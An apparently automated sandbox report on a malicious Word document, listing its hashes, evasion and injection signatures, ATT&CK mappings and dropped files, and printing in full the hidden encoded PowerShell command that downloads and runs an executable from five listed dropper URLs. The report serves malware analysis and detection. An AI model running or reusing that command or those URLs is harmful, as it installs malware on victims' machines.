5e781d5fd024f5cbf83b7cefdd21a232a31b871c284bb0673b74171506cd8fd8

General

Target

5e781d5fd024f5cbf83b7cefdd21a232a31b871c284bb0673b74171506cd8fd8.doc
Size

242KB
MD5

267f126cb0f1e09c5c9c5c623f843b7f
SHA1

05e37cddaacda52a5ff0d208d96d32fd40c40e5a
SHA256

5e781d5fd024f5cbf83b7cefdd21a232a31b871c284bb0673b74171506cd8fd8
SHA512

c59b6e57b58d601ebfb40f93b6754d1fb170b9e13f9deeed41f1807bb73d798488411d4229ccbcc88ab3d12fca5d3287d8d4f524d6a301db7de64e116f4da8a0
SSDEEP

6144:sR2k40tGiL3HJk9/D7bZuhEmfo6BokDPyUKjou:sRVQitkh7bAhLoz

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://salvacodina.com/wp-admin/qWYFrK/

exe.dropper

http://serviska.com/show_cat3/lKzElbNb/

exe.dropper

https://bar-ola.com/wp-admin/KIdh35kENT/

exe.dropper

http://rinani.com/wp-includes/FFkV/

exe.dropper

https://wowmotions.com/wp-admin/A8LwzwQ/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3960	3744	Powershell.exe	83

Blocklisted process makes network request 3 IoCs

flow	pid	Process
25	3960	Powershell.exe
28	3960	Powershell.exe
30	3960	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3960	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2344	WINWORD.EXE
2344	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3960	Powershell.exe
3960	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3960	Powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2344	WINWORD.EXE
2344	WINWORD.EXE

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
2344	WINWORD.EXE
2344	WINWORD.EXE
2344	WINWORD.EXE
2344	WINWORD.EXE
2344	WINWORD.EXE
2344	WINWORD.EXE
2344	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2344 wrote to memory of 3972	2344	WINWORD.EXE	84
PID 2344 wrote to memory of 3972	2344	WINWORD.EXE	84

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5e781d5fd024f5cbf83b7cefdd21a232a31b871c284bb0673b74171506cd8fd8.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2344
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:3972

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABFAGMAawBvAGwAYgB2AHgAegBlAGoAPQAnAFIAcQBtAG4AYgBoAGMAegAnADsAJABaAHkAZwBzAHAAcQBjAG4AZABrAGgAIAA9ACAAJwAzADMAMgAnADsAJABTAHMAcwBuAGcAZwBvAGwAdQA9ACcARgBrAHkAegB5AGgAcwBhAHQAdwB3ACcAOwAkAFkAcwBmAGMAdABpAHUAbgBsAHoAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFoAeQBnAHMAcABxAGMAbgBkAGsAaAArACcALgBlAHgAZQAnADsAJABNAGEAcQBpAGEAaQByAHcAbABlAHYAdABpAD0AJwBTAHEAeQBhAHAAZABrAGMAcABiAGoAdQAnADsAJABTAGMAYQB1AGUAeABvAHEAaABtAHIAeAA9ACYAKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBlAFQALgBXAEUAYgBjAGwAaQBFAG4AdAA7ACQASwBrAHIAagBkAGMAYgBkAGwAeQBoAGEAPQAnAGgAdAB0AHAAcwA6AC8ALwBzAGEAbAB2AGEAYwBvAGQAaQBuAGEALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHEAVwBZAEYAcgBLAC8AKgBoAHQAdABwADoALwAvAHMAZQByAHYAaQBzAGsAYQAuAGMAbwBtAC8AcwBoAG8AdwBfAGMAYQB0ADMALwBsAEsAegBFAGwAYgBOAGIALwAqAGgAdAB0AHAAcwA6AC8ALwBiAGEAcgAtAG8AbABhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBLAEkAZABoADMANQBrAEUATgBUAC8AKgBoAHQAdABwADoALwAvAHIAaQBuAGEAbgBpAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBGAEYAawBWAC8AKgBoAHQAdABwAHMAOgAvAC8AdwBvAHcAbQBvAHQAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AQQA4AEwAdwB6AHcAUQAvACcALgAiAHMAUABgAGwAaQB0ACIAKAAnACoAJwApADsAJABYAGsAdwBkAHQAYgBnAHEAZgA9ACcAVQBzAHUAZwBjAGcAcABhAGEAaAAnADsAZgBvAHIAZQBhAGMAaAAoACQARgBxAGgAcABtAGsAaABqAHAAIABpAG4AIAAkAEsAawByAGoAZABjAGIAZABsAHkAaABhACkAewB0AHIAeQB7ACQAUwBjAGEAdQBlAHgAbwBxAGgAbQByAHgALgAiAGQAYABPAFcAbgBgAGwAbwBBAGAAZABGAGkAbABlACIAKAAkAEYAcQBoAHAAbQBrAGgAagBwACwAIAAkAFkAcwBmAGMAdABpAHUAbgBsAHoAKQA7ACQAVwB6AHYAYgB4AGEAZwBxAG8AagBvAG4AdQA9ACcATwBmAGwAYwBrAG4AbwB1AGwAcQB3ACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQAJwArACcALQBJACcAKwAnAHQAZQBtACcAKQAgACQAWQBzAGYAYwB0AGkAdQBuAGwAegApAC4AIgBsAEUAbgBHAGAAVABoACIAIAAtAGcAZQAgADMAMAAwADYAMgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAHQAQQBgAFIAdAAiACgAJABZAHMAZgBjAHQAaQB1AG4AbAB6ACkAOwAkAFUAZwBhAHUAbQBhAGQAeQBhAGkAcAB6AD0AJwBLAGUAZwBtAGMAcgBhAHUAcABmAHMAagBoACcAOwBiAHIAZQBhAGsAOwAkAEsAYgBuAGwAeAB1AGQAbgB0AGgAPQAnAFEAZgBkAG0AbAB0AHEAawBoAGsAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARABzAHoAcQB2AGMAYwBzAHkAbgA9ACcAQgBvAHcAZABnAHEAbQBlAGMAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3960

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\C75F4135.wmf

Filesize
444B

MD5
b66413ca29351e1ccb8fcc00ca592ead

SHA1
04898d49f32052213e7c958b8d63de3f8b195a41

SHA256
12ddc3628aa9dcd800e58afbf241862a2370c73454dfc24b50f0989bfca6a41c

SHA512
76d738fd1b07db9e23890e3b67b3504ec4ddaa3cd0c5f0283ee44db31a3bfb594543a3981ce74410405feab694eed26333d4fc0c0da6669d36207116a72e0e43

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDAD86.tmp\sist02.xsl

Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_czy5a3i2.xbe.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2344-9-0x00007FFC45ED0000-0x00007FFC460C5000-memory.dmp

Filesize
2.0MB

Download
memory/2344-15-0x00007FFC03EF0000-0x00007FFC03F00000-memory.dmp

Filesize
64KB

Download
memory/2344-6-0x00007FFC45ED0000-0x00007FFC460C5000-memory.dmp

Filesize
2.0MB

Download
memory/2344-0-0x00007FFC45F6D000-0x00007FFC45F6E000-memory.dmp

Filesize
4KB

Download
memory/2344-8-0x00007FFC45ED0000-0x00007FFC460C5000-memory.dmp

Filesize
2.0MB

Download
memory/2344-7-0x00007FFC45ED0000-0x00007FFC460C5000-memory.dmp

Filesize
2.0MB

Download
memory/2344-5-0x00007FFC05F50000-0x00007FFC05F60000-memory.dmp

Filesize
64KB

Download
memory/2344-10-0x00007FFC45ED0000-0x00007FFC460C5000-memory.dmp

Filesize
2.0MB

Download
memory/2344-11-0x00007FFC45ED0000-0x00007FFC460C5000-memory.dmp

Filesize
2.0MB

Download
memory/2344-13-0x00007FFC45ED0000-0x00007FFC460C5000-memory.dmp

Filesize
2.0MB

Download
memory/2344-12-0x00007FFC45ED0000-0x00007FFC460C5000-memory.dmp

Filesize
2.0MB

Download
memory/2344-2-0x00007FFC05F50000-0x00007FFC05F60000-memory.dmp

Filesize
64KB

Download
memory/2344-14-0x00007FFC45ED0000-0x00007FFC460C5000-memory.dmp

Filesize
2.0MB

Download
memory/2344-16-0x00007FFC03EF0000-0x00007FFC03F00000-memory.dmp

Filesize
64KB

Download
memory/2344-4-0x00007FFC05F50000-0x00007FFC05F60000-memory.dmp

Filesize
64KB

Download
memory/2344-3-0x00007FFC05F50000-0x00007FFC05F60000-memory.dmp

Filesize
64KB

Download
memory/2344-1-0x00007FFC05F50000-0x00007FFC05F60000-memory.dmp

Filesize
64KB

Download
memory/2344-67-0x00007FFC45ED0000-0x00007FFC460C5000-memory.dmp

Filesize
2.0MB

Download
memory/2344-74-0x00007FFC45F6D000-0x00007FFC45F6E000-memory.dmp

Filesize
4KB

Download
memory/2344-75-0x00007FFC45ED0000-0x00007FFC460C5000-memory.dmp

Filesize
2.0MB

Download
memory/2344-76-0x00007FFC45ED0000-0x00007FFC460C5000-memory.dmp

Filesize
2.0MB

Download
memory/3960-61-0x0000023074E80000-0x0000023074EA2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads